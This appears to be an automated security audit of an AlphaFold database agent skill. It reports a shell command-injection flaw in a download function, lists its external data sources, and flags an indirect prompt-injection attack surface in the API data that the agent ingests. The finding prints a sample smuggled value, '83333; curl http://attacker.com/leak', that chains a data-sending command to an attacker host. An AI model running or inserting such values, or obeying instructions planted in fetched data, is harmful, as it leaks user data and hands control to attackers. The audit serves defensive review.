The Agent Skills Directory

[COMMAND_EXECUTION]: The download_proteome function in SKILL.md (Section 4) is vulnerable to command injection.
Evidence: The function constructs a shell command string cmd = f"gsutil -m cp {pattern} {output_dir}/" using f-strings and executes it via subprocess.run(cmd, shell=True).
Risk: If the taxonomy_id variable (which is interpolated into the command) originates from untrusted user input, an attacker could execute arbitrary shell commands (e.g., by providing a value like 83333; curl http://attacker.com/leak).
[EXTERNAL_DOWNLOADS]: Fetches protein structure files and metadata from well-known scientific repositories and cloud services.
Evidence: The skill downloads coordinates and confidence data from alphafold.ebi.ac.uk, searches protein accessions on uniprot.org, and retrieves bulk proteome datasets from public Google Cloud Storage buckets (gs://public-datasets-deepmind-alphafold-v4).
[PROMPT_INJECTION]: The skill exposes an indirect prompt injection attack surface by processing external data without proper sanitization.
Ingestion points: Data enters the agent's context from the AlphaFold API and UniProt search results.
Boundary markers: The skill does not use specific delimiters or instructions to ignore embedded commands in the ingested data.
Capability inventory: The skill has access to shell execution (subprocess.run) and file system writes (open().write()).
Sanitization: There is no evidence of validation, escaping, or filtering of externally sourced identifiers before they are used in high-privilege capabilities.

alphafold-database